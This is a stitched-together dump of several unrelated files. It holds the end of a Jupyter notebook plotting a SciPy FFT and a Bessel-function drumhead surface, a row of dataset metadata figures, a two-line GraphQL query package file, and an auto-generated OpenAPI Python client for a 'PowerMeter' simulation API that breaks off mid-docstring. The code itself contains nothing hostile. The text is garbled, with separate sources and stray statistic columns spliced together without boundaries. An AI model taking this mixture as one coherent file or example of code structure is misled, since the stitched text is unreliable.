6nHDHgD8Hj8+fuA+wr+H/gu0cnYvwI64vlz4un+ePk101zXP8bHax/wOcZGwkzbv/2CGnsZG+XS8OOlS/9FRGaJmdblIiIiZSjQRURmCQW6iMgsoUAXEZklFOgiIrOEAl1EZJZQoIuIzBL/H8qY4gOF2+DfAAAAAElFTkSuQmCC\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"# Import Fast Fourier Transformation requirements\n",
"from scipy.fftpack import fft\n",
"import numpy as np\n",
"\n",
"# Number of sample points\n",
"N = 600\n",
"\n",
"# sample spacing\n",
"T = 1.0 / 800.0\n",
"x = np.linspace(0.0, N*T, N)\n",
"y = np.sin(50.0 * 2.0*np.pi*x) + 0.5*np.sin(80.0 * 2.0*np.pi*x)\n",
"yf = fft(y)\n",
"xf = np.linspace(0.0, 1.0/(2.0*T), N//2)\n",
"\n",
"# matplotlib for plotting purposes\n",
"import matplotlib.pyplot as plt\n",
"plt.plot(xf, 2.0/N * np.abs(yf[0:N//2]))\n",
"plt.grid()\n",
"plt.show()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### SciPy Special Functions"
]
},
{
"cell_type": "code",
"execution_count": 26,
"metadata": {},
"outputs": [
{
"data": {
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAb4AAAEuCAYAAADx63eqAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nOy9eZCk+Vnn93mvfN886+g6uruqz6o+pufQaGZa07OGQDi8q9CAZx2LBFoUiwlZG5gQRitHIGB3UTgUVhBhZNZIsjEIWHZXQQiMd0OCABGSJVgLoTms0dCjmenuurruM6vyfO/35z+y36zMqqyqzKzK6qqu9zPR0T2Z+d7v+/u+z/N7DkkIQURERERExElBftg7EBERERERcZhEwhcRERERcaKIhC8iIiIi4kQRCV9ERERExIkiEr6IiIiIiBNFJHwREREREScKdY/vo1yHiIiIiIjjiLTTF5HFFxERERFxooiELyIiIiLiRBEJX0RERETEiSISvoiIiIiIE0UkfBERERERJ4pI+CIiIiIiThSR8EVEREREnCgi4YuIiIiIOFFEwhcRERERcaKIhC8iIiIi4kQRCV9ERERExIkiEr6IiIiIiBNFJHwRERERESeKSPgiIiIiIk4UkfBFRERERJwoIuGLiIiIiDhRRMIXEREREXGi2KsDe0TEsSYIAjzPw7IsVFVFURQURUGWZSRJQpJ2bNIcERHxiBIJX8QjSSh4vu8TBEH1byFEndiFQhgJYkTEySESvohHiiA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xIJDhw6xefNmzjvvPG6++eYwoe2xsbFZPXe8iOV+e+6557jiiivCBtZFtWM6otoc0oI5csscpsdnqZH/ecWOHTs45ZRTZHkwAaUO6Z49e/jkk08wGAyy2kxjYyNlZWWzUi7p6uqisrJSLh8qIex/BHEmkih3omVEn89HS0sLWq2W6urqhB0hAoEA999/P6+99hqPPvooq1atSuh55jAHBeYC3xySqzizYcMGnnnmGbmnMac4EzskSWJiYoK9e/fKLNJEdEiF8otKpaKmpibmsqYQ5Z6YmJADYigUkn3w8vLyYirRDg8P093dPesh/I6ODjZv3szpp5/OT3/605QdmOYEIE46zAW+OUyPWEudNpuNDRs2cMsttxzX0xDYuXMnN910E1ardc6VOkYIHVKhOPPhhx/KSh1Cfk3okIZCIQ4cOIDX62Xp0qVRSRfxvr4gzgg3+2ii3CLgqtVqampqEs7yQqEQjz/+OL///e958MEHZduqVGFOAOKkw1zgm8P0iEVxxufzcc4553Deeedx/fXXh/1MqThz3XXX8eyzz7Jv3z7ZlfqFF14IM+f87W9/y8cffywL977yyiuyK/XFF18sC/eerK7U0XRICwoKsNlslJWV8cADD0xr4DtbRBLl1mq1uFwuysvLKS8vT/h9OXr0KFdffTV1dXXcfffdaXEnmROAOOkwF/jmMD2S2cgvLS0lGAzKVPG77roLgFtuuUX+va985SvcfvvtrF+/nkAgwIIFCxgdHZXZpOKxysedzJAkiWeffZa7776b888/H6/XG1WHdDbO69Hg9/tpaWkhEAhQVFSEw+GIW5QbJrO85557jocffpj//u//ZuPGjWmbL5wTgDjpMDfAPofpUVhYyJtvvnnc9xsaGmSZte9+97t897vfjfj7b731lvzvl19+OUw9fs6VevbweDy0traya9euMDcDoUO6Z88efvvb33Lw4EFMJpMsvbZu3bpZ65COjo7S2dkZkTwTyd/PYDCEEWdEIB4aGuLaa69l3rx5vPvuuwm7MkyHOQGIOcSCucA3h6RjzpU6+cjMRhLDYAAACupJREFUzOTOO+887vsZGRkyIeaaa65BkiTGxsZoampi9+7dPPX/t3fvMU2dbxzA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lnJrtrBWXWYoq86cPHkSX375JR4+fIj58+cjLCwMVVVVaGtrw9KlS1FeXm7y0GBc3FihUAAAtm7dirS0NOTl5WHatGnIyspySr+Z6+KBjzE38iZ+K0tOTkZycrLZ/nfeeQfl5eXStqWHBqDvm+f169cd2kc2vPBUJ2NuxNq3ssEE3jDm6njgY8yNJCUl4cCBAyAi1NbWYuzYsZg4cSJUKhWqq6vR2dmJzs5OVFdXQ6VSDXV3GXMImaUpDsaYa5LJZBoA0QB8ADwA8B8AIwGAiP4r65u/LAIwD0AXgEwi0v7TdgmAr/65VD4RFTu394w5Bw98jDHG3ApPdTLGGHMrPPAxxhhzKzzwMcYYcys88DHGGHMrPPAxxhhzK/8DFiYJPHY6VsoAAAAASUVORK5CYII=\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"# Import special package\n",
"from scipy import special\n",
"import numpy as np\n",
"def drumhead_height(n, k, distance, angle, t):\n",
" kth_zero = special.jn_zeros(n, k)[-1]\n",
" return np.cos(t) * np.cos(n*angle) * special.jn(n, distance*kth_zero)\n",
"theta = np.r_[0:2*np.pi:50j]\n",
"radius = np.r_[0:1:50j]\n",
"x = np.array([r * np.cos(theta) for r in radius])\n",
"y = np.array([r * np.sin(theta) for r in radius])\n",
"z = np.array([drumhead_height(1, 1, r, theta, 0.5) for r in radius])\n",
"\n",
"# Plot the results for visualization\n",
"import matplotlib.pyplot as plt\n",
"from mpl_toolkits.mplot3d import Axes3D\n",
"from matplotlib import cm\n",
"fig = plt.figure()\n",
"ax = Axes3D(fig)\n",
"ax.plot_surface(x, y, z, rstride=1, cstride=1, cmap=cm.jet)\n",
"ax.set_xlabel('X')\n",
"ax.set_ylabel('Y')\n",
"ax.set_zlabel('Z')\n",
"plt.show()"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.7.4"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 237.642965
| 91,476
| 0.922098
| 6,126
| 157,082
| 23.627979
| 0.728044
| 0.000497
| 0.001409
| 0.002466
| 0.025728
| 0.019027
| 0.015158
| 0.014211
| 0.010543
| 0.008664
| 0
| 0.150514
| 0.027833
| 157,082
| 660
| 91,477
| 238.00303
| 0.797322
| 0
| 0
| 0.409091
| 0
| 0.027273
| 0.963077
| 0.907354
| 0
| 1
| 0.000115
| 0
| 0
| 1
| 0
| true
| 0.001515
| 0.05
| 0
| 0.05
| 0.039394
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c208e0c8aeb26f0190bf9a3a06bcf31b20c5c26c
| 125
|
py
|
Python
|
tests/schema/misc/gql/queries/__init__.py
|
simonsobs/acondbs
|
6ca11c2889d827ecdb2b54d0cf3b94b8cdd281e6
|
[
"MIT"
] | null | null | null |
tests/schema/misc/gql/queries/__init__.py
|
simonsobs/acondbs
|
6ca11c2889d827ecdb2b54d0cf3b94b8cdd281e6
|
[
"MIT"
] | 24
|
2020-04-02T19:29:07.000Z
|
2022-03-08T03:05:43.000Z
|
tests/schema/misc/gql/queries/__init__.py
|
simonsobs/acondbs
|
6ca11c2889d827ecdb2b54d0cf3b94b8cdd281e6
|
[
"MIT"
] | 1
|
2020-04-08T15:48:28.000Z
|
2020-04-08T15:48:28.000Z
|
# fmt: off
from .query_all_logs import QUERY_ALL_LOGS # noqa: F401
from .query_log import QUERY_LOG # noqa: F401
# fmt: on
| 25
| 56
| 0.744
| 22
| 125
| 3.954545
| 0.5
| 0.206897
| 0.275862
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058252
| 0.176
| 125
| 4
| 57
| 31.25
| 0.786408
| 0.304
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
dfa55b3471b783ce73b2c2754ef76d8e1a587d31
| 134,891
|
py
|
Python
|
python/powermeter_api/api/simulation_api.py
|
thracesystems/powermeter-api
|
7bdab034ff916ee49e986de88f157bd044e981c1
|
[
"Apache-2.0"
] | null | null | null |
python/powermeter_api/api/simulation_api.py
|
thracesystems/powermeter-api
|
7bdab034ff916ee49e986de88f157bd044e981c1
|
[
"Apache-2.0"
] | null | null | null |
python/powermeter_api/api/simulation_api.py
|
thracesystems/powermeter-api
|
7bdab034ff916ee49e986de88f157bd044e981c1
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
PowerMeter API
API # noqa: E501
The version of the OpenAPI document: 2021.4.1
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from powermeter_api.api_client import ApiClient
from powermeter_api.exceptions import ( # noqa: F401
ApiTypeError,
ApiValueError
)
class SimulationApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def api_simulation_scope_delete_all(self, simid, **kwargs): # noqa: E501
"""api_simulation_scope_delete_all # noqa: E501
Delete all scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.api_simulation_scope_delete_all(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.api_simulation_scope_delete_all_with_http_info(simid, **kwargs) # noqa: E501
def api_simulation_scope_delete_all_with_http_info(self, simid, **kwargs): # noqa: E501
"""api_simulation_scope_delete_all # noqa: E501
Delete all scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.api_simulation_scope_delete_all_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method api_simulation_scope_delete_all" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `api_simulation_scope_delete_all`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_access_create(self, simid, **kwargs): # noqa: E501
"""simulation_access_create # noqa: E501
Update design access # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_access_create(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_access_create_with_http_info(simid, **kwargs) # noqa: E501
def simulation_access_create_with_http_info(self, simid, **kwargs): # noqa: E501
"""simulation_access_create # noqa: E501
Update design access # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_access_create_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_access_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_access_create`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/access/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_clone_create(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_clone_create # noqa: E501
Clone a measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_clone_create(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimMeasurement
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_clone_create_with_http_info(simid, measureid, **kwargs) # noqa: E501
def simulation_measurement_clone_create_with_http_info(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_clone_create # noqa: E501
Clone a measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_clone_create_with_http_info(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimMeasurement, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'measureid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_clone_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_clone_create`") # noqa: E501
# verify the required parameter 'measureid' is set
if self.api_client.client_side_validation and ('measureid' not in local_var_params or # noqa: E501
local_var_params['measureid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `measureid` when calling `simulation_measurement_clone_create`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'measureid' in local_var_params:
path_params['measureid'] = local_var_params['measureid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/{measureid}/clone/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimMeasurement', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_create(self, simid, data, **kwargs): # noqa: E501
"""simulation_measurement_create # noqa: E501
Create a new simulation # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_create(simid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param SimMeasurement data: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimMeasurement
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_create_with_http_info(simid, data, **kwargs) # noqa: E501
def simulation_measurement_create_with_http_info(self, simid, data, **kwargs): # noqa: E501
"""simulation_measurement_create # noqa: E501
Create a new simulation # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_create_with_http_info(simid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param SimMeasurement data: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimMeasurement, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_create`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `simulation_measurement_create`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimMeasurement', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_data_create(self, simid, measureid, data, **kwargs): # noqa: E501
"""simulation_measurement_data_create # noqa: E501
Append data # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_data_create(simid, measureid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param list[MeasuredDataJSON] data: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_data_create_with_http_info(simid, measureid, data, **kwargs) # noqa: E501
def simulation_measurement_data_create_with_http_info(self, simid, measureid, data, **kwargs): # noqa: E501
"""simulation_measurement_data_create # noqa: E501
Append data # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_data_create_with_http_info(simid, measureid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param list[MeasuredDataJSON] data: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'measureid',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_data_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_data_create`") # noqa: E501
# verify the required parameter 'measureid' is set
if self.api_client.client_side_validation and ('measureid' not in local_var_params or # noqa: E501
local_var_params['measureid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `measureid` when calling `simulation_measurement_data_create`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `simulation_measurement_data_create`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'measureid' in local_var_params:
path_params['measureid'] = local_var_params['measureid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/{measureid}/data/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_data_delete(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_data_delete # noqa: E501
Delete all data # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_data_delete(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_data_delete_with_http_info(simid, measureid, **kwargs) # noqa: E501
def simulation_measurement_data_delete_with_http_info(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_data_delete # noqa: E501
Delete all data # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_data_delete_with_http_info(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'measureid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_data_delete" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_data_delete`") # noqa: E501
# verify the required parameter 'measureid' is set
if self.api_client.client_side_validation and ('measureid' not in local_var_params or # noqa: E501
local_var_params['measureid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `measureid` when calling `simulation_measurement_data_delete`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'measureid' in local_var_params:
path_params['measureid'] = local_var_params['measureid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/{measureid}/data/', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_data_list(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_data_list # noqa: E501
Get data for a measure # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_data_list(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
